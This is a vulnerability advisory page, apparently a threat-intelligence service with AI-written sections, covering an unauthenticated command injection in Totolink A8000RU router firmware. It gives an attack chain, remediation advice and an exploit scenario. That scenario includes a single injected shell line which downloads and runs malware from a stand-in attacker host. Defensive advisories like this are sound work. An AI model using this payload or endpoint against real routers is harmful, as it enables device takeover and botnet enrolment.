Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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ReconInternet scan for exposed Totolink web interfaces
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DeliverySend crafted POST to /cgi-bin/cstecgi.cgi
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ExploitInject commands via pptpPassThru parameter
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InstallExecute arbitrary code as root
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C2Download secondary payload
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ExecuteEstablish persistence via cron/startup scripts
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ImpactCommand and control connection
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Step 8Pivot to LAN devices or DDoS participation
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote exploitation requires the router's administrative web interface to be accessible over the network, which is the default configuration for LAN-side access and occurs on WAN-side when users enable remote management features. No authentication is required based on the CVSS vector PR:N, indicating the vulnerable CGI endpoint either lacks authentication checks or the vulnerability exists in a pre-authentication code path. The specific condition is that the setVpnPassCfg function must be reachable, which depends on the router's VPN configuration interface being present in the web UI-this is a standard feature in the A8000RU firmware. Attack complexity is low (AC:L) with no additional timing or race condition requirements (AT:N). No user interaction (UI:N) is needed, making this exploitable purely through attacker-initiated requests. The primary limiting factor for internet-wide exploitation is network reachability: devices behind NAT without port forwarding rules or remote management enabled are protected by network topology rather than the application itself. |
| Impact | This represents a critical real-world risk for deployed Totolink A8000RU devices. CVSS v4.0 vector confirms worst-case exploitability: network-accessible (AV:N), low attack complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and proof-of-concept exploitation status (E:P). The public availability of working exploit code on GitHub means any attacker with basic technical skills can compromise vulnerable devices. While EPSS and KEV data are not provided in the intelligence, the combination of remote unauthenticated access, trivial exploitation, and public POC historically correlates with rapid weaponization in IoT botnets. The constraint to a single product model (A8000RU) limits widespread impact compared to enterprise vulnerabilities, but installed base in homes and small businesses creates significant aggregate exposure. SOHO routers typically receive infrequent firmware updates from end users, extending the vulnerable window indefinitely for most deployments. |
| Exploit ScenarioDerived | An attacker scans the internet for Totolink A8000RU routers with exposed administrative interfaces on default ports 80 or 8080. Using the publicly available exploit from GitHub, they craft an HTTP POST request to /cgi-bin/cstecgi.cgi with malicious shell metacharacters in the pptpPassThru parameter of the setVpnPassCfg function, such as ';wget http://attacker.com/malware -O /tmp/bot;chmod +x /tmp/bot;/tmp/bot;'. The router executes these commands with the privileges of the CGI process (typically root), installing botnet malware that enrolls the device in a DDoS network or establishes a persistent foothold for lateral movement into the connected LAN. |
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Alert meAnalysisAIv1 – Apr 26, 2026
OS command injection in Totolink A8000RU firmware 7.1cu.643_b20200521 enables remote unauthenticated attackers to execute arbitrary system commands via the pptpPassThru parameter in the setVpnPassCfg function. Public exploit code exists on GitHub, dramatically lowering the barrier to exploitation. CVSS v4.0 base score of 8.9 reflects network attack vector, low complexity, and no authentication requirements, with high impact to confidentiality, integrity, and availability of the vulnerable device.
RemediationAI
Check the Totolink support website at https://www.totolink.net/ for firmware updates newer than 7.1cu.643_b20200521 that may address this command injection vulnerability, though no vendor-released patch has been independently confirmed at time of analysis. As an immediate compensating control, disable remote administration access to the router's web interface by restricting management access to LAN-only connections in the administration settings-this eliminates the network attack vector (AV:N) but sacrifices remote management capability. Deploy the router behind a firewall that blocks external access to TCP ports 80, 443, and 8080 to the device's WAN interface. For environments requiring VPN functionality, consider replacing the affected device with alternative hardware that receives active security support. Monitor router logs for unusual cstecgi.cgi access patterns or unexpected system process execution, though logging capabilities on SOHO devices are typically limited. Given the age of the affected firmware build (May 2020) and typical vendor support lifecycles for consumer networking equipment, hardware replacement may be more practical than waiting for a patch.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability exploits CWE-78 (OS Command Injection) in the CGI handler of Totolink A8000RU router firmware, specifically affecting /cgi-bin/cstecgi.cgi. The setVpnPassCfg function fails to properly sanitize user input in the pptpPassThru parameter before passing it to system shell commands. CGI (Common Gateway Interface) scripts in embedded devices often execute with elevated privileges, making command injection particularly severe. The affected CPE cpe:2.3:a:totolink:a8000ru:*:*:*:*:*:*:*:* indicates this is a software vulnerability in the router's application firmware. Legacy CGI implementations in SOHO routers frequently lack modern input validation frameworks, relying instead on ad-hoc string handling that fails to account for shell metacharacters.
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
4DescriptionCVE.org
A security flaw has been discovered in Totolink A8000RU 7.1cu.643_b20200521. This issue affects the function setVpnPassCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. The manipulation of the argument pptpPassThru results in os command injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.
Executive ViewAI
Totolink A8000RU router firmware versions up to 7.1cu.643_b20200521 contain a critical remote command injection vulnerability that allows unauthenticated attackers to gain complete control of affected devices without authentication. With publicly available exploit code and no vendor patch available, any internet-exposed router is immediately at risk of compromise, potentially exposing all network traffic and internal systems connected to the device.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict WAN access to the router's management interface using firewall rules; (2) Implement network segmentation to isolate affected routers from critical assets; (3) Monitor router access logs and network traffic for suspicious command injection patterns; (4) Disable VPN passthrough features if not operationally required; (5) Establish a firmware update monitoring process with the vendor and evaluate device replacement timelines.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
OS command injection in Totolink A8000RU router firmware 7.1cu.643_b20200521 allows remote unauthenticated attackers to
OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attacke
OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attacke
OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attacke
OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows unauthenticated remote attacke
Remote OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows unauthenticated attacke
OS command injection in Totolink A8000RU router firmware 7.1cu.643_b20200521 allows remote unauthenticated attackers to
Remote OS command injection in TOTOLINK A8000RU router firmware 7.1cu.643_b20200521 allows unauthenticated attackers to
OS command injection in TOTOLINK A8000RU router firmware 7.1cu.643_b20200521 allows remote unauthenticated attackers to
OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attacke
OS command injection in Totolink A8000RU router firmware 7.1cu.643_b20200521 allows remote unauthenticated attackers to
OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows unauthenticated remote attacke
EUVD-2026-25713
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB